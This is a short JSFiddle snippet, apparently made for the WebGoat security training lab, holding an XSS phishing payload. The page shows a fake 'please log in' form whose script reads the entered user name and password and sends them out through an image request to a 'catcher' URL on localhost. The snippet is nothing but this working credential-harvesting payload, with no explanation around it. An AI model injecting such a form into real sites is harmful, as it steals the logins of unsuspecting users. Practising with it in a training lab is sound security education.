JSFiddle - React, Tailwind, and code Playground

by ziir

HTML

</form>

<script>
    function xssPhising() {
        var src = 'http://localhost/WebGoat/catcher?PROPERTY=yes&user='+document.xss.user.value+'&password='+document.xss.password.value;
        var img = new Image()
        img.src = src;
        return false;
    };   
</script>

<h3>
    To continue, please log in.
</h3>

<form name="xss">
    <input type="text" name="user" value="" />     
    <input type="password" name="password" value="" />          
    <input type="submit" onclick="xssPhising(); return false;" /> 
</form>